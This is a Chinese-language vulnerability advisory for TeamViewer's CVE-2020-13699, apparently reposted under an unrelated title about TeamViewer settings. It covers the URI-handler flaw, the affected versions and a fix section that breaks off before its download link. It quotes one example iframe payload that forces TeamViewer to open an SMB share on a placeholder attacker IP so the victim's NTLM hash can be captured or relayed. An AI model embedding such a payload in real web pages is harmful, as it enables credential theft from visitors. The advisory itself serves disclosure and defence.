teamviewer为什么显示无路径（teamviewer通用选项在哪设置）

情报编号：H1320200810

漏洞概述

TeamViewer是由德国公司TeamViewer GmbH开发的应用程序，可用于Windows，macOS，Linux，Chrome OS，iOS，Android，Windows RT Windows Phone 8和BlackBerry操作系统。

TeamViewer 官方发布最近修复了一个漏洞，该漏洞可能使攻击者悄悄地建立与您计算机的连接并进一步利用该系统，该漏洞编号为 CVE-2020-13699，CVSS 评分 9.8 分。攻击者只需要构造一个特定的连接隐藏在恶意网页里，安装了 Teamviewer 的电脑浏览到该网页即可触发漏洞。

漏洞危害

CVE-2020-13699是一个安全漏洞，其源于未引用的搜索路径或元素。具体来说，此漏洞是由于应用程序未正确引用其自定义URI处理程序而引起的。装有易受攻击的TeamViewer版本的用户被诱骗访问一个恶意制作的网站，以利用此漏洞。

根据Praetorian的安全工程师说：“攻击者可以使用精心制作的URL（iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'）将恶意iframe嵌入网站中，从而启动TeamViewer Windows桌面客户端并强迫其打开远程SMB共享，Windows在打开SMB共享时将执行NTLM身份验证，并且可以将请求中继（使用诸如响应程序之类的工具）以执行代码（或捕获以进行哈希破解）“。

影响范围

TeamViewer < 8.0.258861

TeamViewer < 9.0.28860

TeamViewer < 10.0.258873

TeamViewer < 11.0.258870

TeamViewer < 12.0.258869

TeamViewer < 13.2.36220

TeamViewer < 14.2.56676

TeamViewer < 15.8.3

修复方案

目前官方已发布漏洞修复版本：

1、新版在这里下载：